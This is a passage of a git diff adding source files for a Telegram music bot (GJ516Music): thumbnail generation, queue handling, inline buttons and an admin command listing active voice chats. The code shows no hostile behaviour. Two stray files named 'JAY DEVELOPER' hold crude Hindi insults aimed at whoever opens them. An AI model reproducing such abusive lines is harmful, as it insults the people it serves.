+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+
+class DurationLimitError(Exception):
+ pass
+
+
+class FFmpegReturnCodeError(Exception):
+ pass
diff --git a/GJ516Music/Helpers/formatters.py b/GJ516Music/Helpers/formatters.py
new file mode 100644
index 0000000..f8a65a6
--- /dev/null
+++ b/GJ516Music/Helpers/formatters.py
@@ -0,0 +1,45 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+
+def get_readable_time(seconds: int) -> str:
+ count = 0
+ ping_time = ""
+ time_list = []
+ time_suffix_list = ["𝙎", "𝙈", "𝙃","𝘿𝘼𝙔𝙎"]
+ while count < 4:
+ count += 1
+ if count < 3:
+ remainder, result = divmod(seconds, 60)
+ else:
+ remainder, result = divmod(seconds, 24)
+ if seconds == 0 and remainder == 0:
+ break
+ time_list.append(int(result))
+ seconds = int(remainder)
+ for i in range(len(time_list)):
+ time_list[i] = str(time_list[i]) + time_suffix_list[i]
+ if len(time_list) == 4:
+ ping_time += time_list.pop() + ", "
+ time_list.reverse()
+ ping_time += ":".join(time_list)
+ return ping_time
diff --git a/GJ516Music/Helpers/gets.py b/GJ516Music/Helpers/gets.py
new file mode 100644
index 0000000..53803b9
--- /dev/null
+++ b/GJ516Music/Helpers/gets.py
@@ -0,0 +1,57 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from typing import Union
+
+from pyrogram.enums import MessageEntityType
+from pyrogram.types import Audio, Message, Voice
+
+
+def get_url(message_1: Message) -> Union[str, None]:
+ messages = [message_1]
+
+ if message_1.reply_to_message:
+ messages.append(message_1.reply_to_message)
+
+ text = ""
+ offset = None
+ length = None
+
+ for message in messages:
+ if offset:
+ break
+
+ if message.entities:
+ for entity in message.entities:
+ if entity.type == MessageEntityType.URL:
+ text = message.text or message.caption
+ offset, length = entity.offset, entity.length
+ break
+
+ if offset in (None,):
+ return None
+
+ return text[offset : offset + length]
+
+
+def get_file_name(audio: Union[Audio, Voice]):
+ return f'{audio.file_unique_id}.{audio.file_name.split(".")[-1] if not isinstance(audio, Voice) else "ogg"}'
diff --git a/GJ516Music/Helpers/inline.py b/GJ516Music/Helpers/inline.py
new file mode 100644
index 0000000..4e20414
--- /dev/null
+++ b/GJ516Music/Helpers/inline.py
@@ -0,0 +1,97 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
+
+import config
+from GJ516Music import BOT_USERNAME
+
+close_key = InlineKeyboardMarkup(
+ [[InlineKeyboardButton(text="❰𝗖𝗹𝗼𝘀𝗲❱", callback_data="close")]]
+)
+
+
+buttons = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(text="❰𝙊𝙬𝙣𝙚𝙧❱", user_id=config.OWNER_ID),
+ InlineKeyboardButton(text="❰𝙂𝙧𝙤𝙪𝙥❱", url=config.SUPPORT_CHAT),
+ ]
+ ]
+)
+
+
+pm_buttons = [
+ [
+ InlineKeyboardButton(
+ text="𝗔𝗱𝗱 𝗺𝗲 𝘁𝗼 𝘆𝗼𝘂𝗿 𝗴𝗿𝗼𝘂𝗽",
+ url=f"https://t.me/{BOT_USERNAME}?startgroup=true",
+ )
+ ],
+ [InlineKeyboardButton(text="❰𝘾𝙤𝙢𝙢𝙖𝙣𝙙𝙨❱", callback_data="GJ516_help")],
+ [
+ InlineKeyboardButton(text="❰𝗖𝗵𝗮𝗻𝗻𝗲𝗹❱", url=config.SUPPORT_CHANNEL),
+ InlineKeyboardButton(text="❰𝗚𝗿𝗼𝘂𝗽❱", url=config.SUPPORT_CHAT),
+ ],
+ [
+ InlineKeyboardButton(text="❰𝙊𝙬𝙣𝙚𝙧❱", user_id=config.OWNER_ID),
+ ],
+]
+
+
+gp_buttons = [
+ [
+ InlineKeyboardButton(
+ text="𝗔𝗱𝗱 𝗺𝗲 𝘁𝗼 𝘆𝗼𝘂𝗿 𝗴𝗿𝗼𝘂𝗽",
+ url=f"https://t.me/{BOT_USERNAME}?startgroup=true",
+ )
+ ],
+ [
+ InlineKeyboardButton(text="𝗥𝗲𝗽𝗼𝘀𝗶𝘁𝗼𝗿𝘆", url=f"https://github.com/MrProgrammer72/GJ516Music"),
+ ],
+]
+
+
+helpmenu = [
+ [
+ InlineKeyboardButton(
+ text="𝘽𝙤𝙩𝙪𝙨𝙚𝙧",
+ callback_data="GJ516_cb help",
+ ),
+
+ InlineKeyboardButton(text="𝙎𝙪𝙙𝙤𝙪𝙨𝙚𝙧", callback_data="GJ516_cb sudo"),
+ ],
+ [ InlineKeyboardButton(text="⚡ 𝗥𝗲𝗽𝗼𝘀𝗶𝘁𝗼𝗿𝘆 ⚡", url=f"https://github.com/MrProgrammer72/GJ516Music"),
+ ],
+ [
+ InlineKeyboardButton(text="𝗕𝗮𝗰𝗸", callback_data="GJ516_home"),
+ InlineKeyboardButton(text="𝗖𝗹𝗼𝘀𝗲", callback_data="close"),
+ ],
+]
+
+
+help_back = [
+ [
+ InlineKeyboardButton(text="𝗕𝗮𝗰𝗸", callback_data="GJ516_help"),
+ InlineKeyboardButton(text="𝗖𝗹𝗼𝘀𝗲", callback_data="close"),
+ ],
+]
diff --git a/GJ516Music/Helpers/queue.py b/GJ516Music/Helpers/queue.py
new file mode 100644
index 0000000..224e755
--- /dev/null
+++ b/GJ516Music/Helpers/queue.py
@@ -0,0 +1,48 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from GJ516Music import GJ516db
+
+
+async def put(
+ chat_id,
+ title,
+ duration,
+ videoid,
+ file_path,
+ ruser,
+ user_id,
+):
+ put_f = {
+ "title": title,
+ "duration": duration,
+ "file_path": file_path,
+ "videoid": videoid,
+ "req": ruser,
+ "user_id": user_id,
+ }
+ get = GJ516db.get(chat_id)
+ if get:
+ GJ516db[chat_id].append(put_f)
+ else:
+ GJ516db[chat_id] = []
+ GJ516db[chat_id].append(put_f)
diff --git a/GJ516Music/Helpers/thumbnails.py b/GJ516Music/Helpers/thumbnails.py
new file mode 100644
index 0000000..1476cb5
--- /dev/null
+++ b/GJ516Music/Helpers/thumbnails.py
@@ -0,0 +1,343 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import os
+import re
+import textwrap
+
+import aiofiles
+import aiohttp
+import numpy as np
+from PIL import Image, ImageChops, ImageDraw, ImageEnhance, ImageFilter, ImageFont
+from youtubesearchpython.__future__ import VideosSearch
+
+from config import FAILED
+from GJ516Music import BOT_ID, LOGGER, app
+
+
+def changeImageSize(maxWidth, maxHeight, image):
+ widthRatio = maxWidth / image.size[0]
+ heightRatio = maxHeight / image.size[1]
+ newWidth = int(widthRatio * image.size[0])
+ newHeight = int(heightRatio * image.size[1])
+ newImage = image.resize((newWidth, newHeight))
+ return newImage
+
+
+def add_corners(im):
+ bigsize = (im.size[0] * 3, im.size[1] * 3)
+ mask = Image.new("L", bigsize, 0)
+ ImageDraw.Draw(mask).ellipse((0, 0) + bigsize, fill=255)
+ mask = mask.resize(im.size, Image.ANTIALIAS)
+ mask = ImageChops.darker(mask, im.split()[-1])
+ im.putalpha(mask)
+
+
+async def gen_thumb(videoid, user_id):
+ if os.path.isfile(f"cache/{videoid}_{user_id}.png"):
+ return f"cache/{videoid}_{user_id}.png"
+ url = f"https://www.youtube.com/watch?v={videoid}"
+ try:
+ results = VideosSearch(url, limit=1)
+ for result in (await results.next())["result"]:
+ try:
+ title = result["title"]
+ title = re.sub("\W+", " ", title)
+ title = title.title()
+ except:
+ title = "Unsupported Title"
+ try:
+ duration = result["duration"]
+ except:
+ duration = "Unknown"
+ thumbnail = result["thumbnails"][0]["url"].split("?")[0]
+ try:
+ result["viewCount"]["short"]
+ except:
+ pass
+ try:
+ result["channel"]["name"]
+ except:
+ pass
+
+ async with aiohttp.ClientSession() as session:
+ async with session.get(thumbnail) as resp:
+ if resp.status == 200:
+ f = await aiofiles.open(f"cache/thumb{videoid}.png", mode="wb")
+ await f.write(await resp.read())
+ await f.close()
+
+ try:
+ wxy = await app.download_media(
+ (await app.get_users(user_id)).photo.big_file_id,
+ file_name=f"{user_id}.jpg",
+ )
+ except:
+ wxy = await app.download_media(
+ (await app.get_users(BOT_ID)).photo.big_file_id,
+ file_name=f"{BOT_ID}.jpg",
+ )
+
+ xy = Image.open(wxy)
+ a = Image.new("L", [640, 640], 0)
+ b = ImageDraw.Draw(a)
+ b.pieslice([(0, 0), (640, 640)], 0, 360, fill=255, outline="white")
+ c = np.array(xy)
+ d = np.array(a)
+ e = np.dstack((c, d))
+ f = Image.fromarray(e)
+ x = f.resize((107, 107))
+
+ youtube = Image.open(f"cache/thumb{videoid}.png")
+ bg = Image.open(f"GJ516Music/Helpers/utils/circle.png")
+ image1 = changeImageSize(1280, 720, youtube)
+ image2 = image1.convert("RGBA")
+ background = image2.filter(filter=ImageFilter.BoxBlur(30))
+ enhancer = ImageEnhance.Brightness(background)
+ background = enhancer.enhance(0.6)
+
+ image3 = changeImageSize(1280, 720, bg)
+ image5 = image3.convert("RGBA")
+ Image.alpha_composite(background, image5).save(f"cache/temp{videoid}.png")
+
+ Xcenter = youtube.width / 2
+ Ycenter = youtube.height / 2
+ x1 = Xcenter - 250
+ y1 = Ycenter - 250
+ x2 = Xcenter + 250
+ y2 = Ycenter + 250
+ logo = youtube.crop((x1, y1, x2, y2))
+ logo.thumbnail((520, 520), Image.ANTIALIAS)
+ logo.save(f"cache/chop{videoid}.png")
+ if not os.path.isfile(f"cache/cropped{videoid}.png"):
+ im = Image.open(f"cache/chop{videoid}.png").convert("RGBA")
+ add_corners(im)
+ im.save(f"cache/cropped{videoid}.png")
+
+ crop_img = Image.open(f"cache/cropped{videoid}.png")
+ logo = crop_img.convert("RGBA")
+ logo.thumbnail((365, 365), Image.ANTIALIAS)
+ width = int((1280 - 365) / 2)
+ background = Image.open(f"cache/temp{videoid}.png")
+ background.paste(logo, (width + 2, 138), mask=logo)
+ background.paste(x, (710, 427), mask=x)
+ background.paste(image3, (0, 0), mask=image3)
+
+ draw = ImageDraw.Draw(background)
+ font = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 45)
+ ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 70)
+ arial = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 30)
+ ImageFont.truetype("GJ516Music/Helpers/utils/font.ttf", 30)
+ para = textwrap.wrap(title, width=32)
+ try:
+ draw.text(
+ (450, 25),
+ f"STARTED PLAYING",
+ fill="white",
+ stroke_width=3,
+ stroke_fill="grey",
+ font=font,
+ )
+ if para[0]:
+ text_w, text_h = draw.textsize(f"{para[0]}", font=font)
+ draw.text(
+ ((1280 - text_w) / 2, 530),
+ f"{para[0]}",
+ fill="white",
+ stroke_width=1,
+ stroke_fill="white",
+ font=font,
+ )
+ if para[1]:
+ text_w, text_h = draw.textsize(f"{para[1]}", font=font)
+ draw.text(
+ ((1280 - text_w) / 2, 580),
+ f"{para[1]}",
+ fill="white",
+ stroke_width=1,
+ stroke_fill="white",
+ font=font,
+ )
+ except:
+ pass
+ text_w, text_h = draw.textsize(f"Duration: {duration} Mins", font=arial)
+ draw.text(
+ ((1280 - text_w) / 2, 660),
+ f"Duration: {duration} Mins",
+ fill="white",
+ font=arial,
+ )
+ try:
+ os.remove(f"cache/thumb{videoid}.png")
+ except:
+ pass
+ background.save(f"cache/{videoid}_{user_id}.png")
+ return f"cache/{videoid}_{user_id}.png"
+ except Exception as e:
+ LOGGER.error(e)
+ return FAILED
+
+
+async def gen_qthumb(videoid, user_id):
+ if os.path.isfile(f"cache/que{videoid}_{user_id}.png"):
+ return f"cache/que{videoid}_{user_id}.png"
+ url = f"https://www.youtube.com/watch?v={videoid}"
+ try:
+ results = VideosSearch(url, limit=1)
+ for result in (await results.next())["result"]:
+ try:
+ title = result["title"]
+ title = re.sub("\W+", " ", title)
+ title = title.title()
+ except:
+ title = "Unsupported Title"
+ try:
+ duration = result["duration"]
+ except:
+ duration = "Unknown"
+ thumbnail = result["thumbnails"][0]["url"].split("?")[0]
+ try:
+ result["viewCount"]["short"]
+ except:
+ pass
+ try:
+ result["channel"]["name"]
+ except:
+ pass
+
+ async with aiohttp.ClientSession() as session:
+ async with session.get(thumbnail) as resp:
+ if resp.status == 200:
+ f = await aiofiles.open(f"cache/thumb{videoid}.png", mode="wb")
+ await f.write(await resp.read())
+ await f.close()
+
+ try:
+ wxy = await app.download_media(
+ (await app.get_users(user_id)).photo.big_file_id,
+ file_name=f"{user_id}.jpg",
+ )
+ except:
+ wxy = await app.download_media(
+ (await app.get_users(BOT_ID)).photo.big_file_id,
+ file_name=f"{BOT_ID}.jpg",
+ )
+
+ xy = Image.open(wxy)
+ a = Image.new("L", [640, 640], 0)
+ b = ImageDraw.Draw(a)
+ b.pieslice([(0, 0), (640, 640)], 0, 360, fill=255, outline="white")
+ c = np.array(xy)
+ d = np.array(a)
+ e = np.dstack((c, d))
+ f = Image.fromarray(e)
+ x = f.resize((107, 107))
+
+ youtube = Image.open(f"cache/thumb{videoid}.png")
+ bg = Image.open(f"GJ516Music/Helpers/utils/circle.png")
+ image1 = changeImageSize(1280, 720, youtube)
+ image2 = image1.convert("RGBA")
+ background = image2.filter(filter=ImageFilter.BoxBlur(30))
+ enhancer = ImageEnhance.Brightness(background)
+ background = enhancer.enhance(0.6)
+
+ image3 = changeImageSize(1280, 720, bg)
+ image5 = image3.convert("RGBA")
+ Image.alpha_composite(background, image5).save(f"cache/temp{videoid}.png")
+
+ Xcenter = youtube.width / 2
+ Ycenter = youtube.height / 2
+ x1 = Xcenter - 250
+ y1 = Ycenter - 250
+ x2 = Xcenter + 250
+ y2 = Ycenter + 250
+ logo = youtube.crop((x1, y1, x2, y2))
+ logo.thumbnail((520, 520), Image.ANTIALIAS)
+ logo.save(f"cache/chop{videoid}.png")
+ if not os.path.isfile(f"cache/cropped{videoid}.png"):
+ im = Image.open(f"cache/chop{videoid}.png").convert("RGBA")
+ add_corners(im)
+ im.save(f"cache/cropped{videoid}.png")
+
+ crop_img = Image.open(f"cache/cropped{videoid}.png")
+ logo = crop_img.convert("RGBA")
+ logo.thumbnail((365, 365), Image.ANTIALIAS)
+ width = int((1280 - 365) / 2)
+ background = Image.open(f"cache/temp{videoid}.png")
+ background.paste(logo, (width + 2, 138), mask=logo)
+ background.paste(x, (710, 427), mask=x)
+ background.paste(image3, (0, 0), mask=image3)
+
+ draw = ImageDraw.Draw(background)
+ font = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 45)
+ ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 70)
+ arial = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 30)
+ ImageFont.truetype("GJ516Music/Helpers/utils/font.ttf", 30)
+ para = textwrap.wrap(title, width=32)
+ try:
+ draw.text(
+ (455, 25),
+ "ADDED TO QUEUE",
+ fill="white",
+ stroke_width=5,
+ stroke_fill="black",
+ font=font,
+ )
+ if para[0]:
+ text_w, text_h = draw.textsize(f"{para[0]}", font=font)
+ draw.text(
+ ((1280 - text_w) / 2, 530),
+ f"{para[0]}",
+ fill="white",
+ stroke_width=1,
+ stroke_fill="white",
+ font=font,
+ )
+ if para[1]:
+ text_w, text_h = draw.textsize(f"{para[1]}", font=font)
+ draw.text(
+ ((1280 - text_w) / 2, 580),
+ f"{para[1]}",
+ fill="white",
+ stroke_width=1,
+ stroke_fill="white",
+ font=font,
+ )
+ except:
+ pass
+ text_w, text_h = draw.textsize(f"Duration: {duration} Mins", font=arial)
+ draw.text(
+ ((1280 - text_w) / 2, 660),
+ f"Duration: {duration} Mins",
+ fill="white",
+ font=arial,
+ )
+
+ try:
+ os.remove(f"cache/thumb{videoid}.png")
+ except:
+ pass
+ background.save(f"cache/que{videoid}_{user_id}.png")
+ return f"cache/que{videoid}_{user_id}.png"
+ except Exception as e:
+ LOGGER.error(e)
+ return FAILED
diff --git a/GJ516Music/Helpers/utils/JAY DEVELOPER b/GJ516Music/Helpers/utils/JAY DEVELOPER
new file mode 100644
index 0000000..20c79d9
--- /dev/null
+++ b/GJ516Music/Helpers/utils/JAY DEVELOPER
@@ -0,0 +1 @@
+Kya dek rha h be lodu 😂😂
diff --git a/GJ516Music/Helpers/utils/__init__.py b/GJ516Music/Helpers/utils/__init__.py
new file mode 100644
index 0000000..cc50aa5
--- /dev/null
+++ b/GJ516Music/Helpers/utils/__init__.py
@@ -0,0 +1,21 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
diff --git a/GJ516Music/Helpers/utils/circle.png b/GJ516Music/Helpers/utils/circle.png
new file mode 100644
index 0000000..e4d1be4
Binary files /dev/null and b/GJ516Music/Helpers/utils/circle.png differ
diff --git a/GJ516Music/Helpers/utils/font.ttf b/GJ516Music/Helpers/utils/font.ttf
new file mode 100644
index 0000000..3b8622f
Binary files /dev/null and b/GJ516Music/Helpers/utils/font.ttf differ
diff --git a/GJ516Music/Helpers/utils/font2.ttf b/GJ516Music/Helpers/utils/font2.ttf
new file mode 100644
index 0000000..2ceaf63
Binary files /dev/null and b/GJ516Music/Helpers/utils/font2.ttf differ
diff --git a/GJ516Music/Modules/JAY DEVELOPER b/GJ516Music/Modules/JAY DEVELOPER
new file mode 100644
index 0000000..62de020
--- /dev/null
+++ b/GJ516Music/Modules/JAY DEVELOPER
@@ -0,0 +1 @@
+Lund lele bsdk ke 😂
diff --git a/GJ516Music/Modules/__init__.py b/GJ516Music/Modules/__init__.py
new file mode 100644
index 0000000..1a6ac00
--- /dev/null
+++ b/GJ516Music/Modules/__init__.py
@@ -0,0 +1,40 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import glob
+from os.path import basename, dirname, isfile
+
+
+def __list_all_modules():
+ mod_paths = glob.glob(dirname(__file__) + "/*.py")
+
+ all_modules = [
+ basename(f)[:-3]
+ for f in mod_paths
+ if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py")
+ ]
+
+ return all_modules
+
+
+ALL_MODULES = sorted(__list_all_modules())
+__all__ = ALL_MODULES + ["ALL_MODULES"]
diff --git a/GJ516Music/Modules/activevc.py b/GJ516Music/Modules/activevc.py
new file mode 100644
index 0000000..7c92e1a
--- /dev/null
+++ b/GJ516Music/Modules/activevc.py
@@ -0,0 +1,55 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from GJ516Music import SUDOERS, app
+from GJ516Music.Helpers.active import get_active_chats
+from GJ516Music.Helpers.inline import close_key
+
+
+@app.on_message(filters.command("activevc") & SUDOERS)
+async def activevc(_, message: Message):
+ mystic = await message.reply_text("𝙅𝙖𝙮 𝙂𝙚𝙩𝙩𝙞𝙣𝙜 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙤𝙞𝙘𝙚𝘾𝙝𝙖𝙩𝙨 𝙇𝙞𝙨𝙩.... ☘")
+ chats = await get_active_chats()
+ text = ""
+ j = 0
+ for chat in chats:
+ try:
+ title = (await app.get_chat(chat)).title
+ except Exception:
+ title = "𝙋𝙧𝙞𝙫𝙖𝙩𝙚 𝘾𝙝𝙖𝙩 "
+ if (await app.get_chat(chat)).username:
+ user = (await app.get_chat(chat)).username
+ text += f"{j + 1}. [{title}](https://t.me/{user})\n"
+ else:
+ text += f"{j + 1}. {title} [`{chat}`]\n"
+ j += 1
+ if not text:
+ await mystic.edit_text("𝙉𝙤 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙞𝙙𝙚𝙤 𝘾𝙝𝙖𝙩 𝙊𝙣 𝙈𝙪𝙨𝙞𝙘𝘽𝙤𝙩.")
+ else:
+ await mystic.edit_text(
+ f"**𝙇𝙞𝙨𝙩 𝙤𝙛 𝘾𝙪𝙧𝙧𝙚𝙣𝙩𝙡𝙮 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙤𝙞𝙘𝙚 𝙘𝙝𝙖𝙩 𝙊𝙣 𝙈𝙪𝙨𝙞𝙘 𝘽𝙤𝙩 :**\n\n{text}",
+ reply_markup=close_key,
+ disable_web_page_preview=True,
+ )
diff --git a/GJ516Music/Modules/assistant.py b/GJ516Music/Modules/assistant.py
new file mode 100644
index 0000000..81a48d9
--- /dev/null
+++ b/GJ516Music/Modules/assistant.py
@@ -0,0 +1,95 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
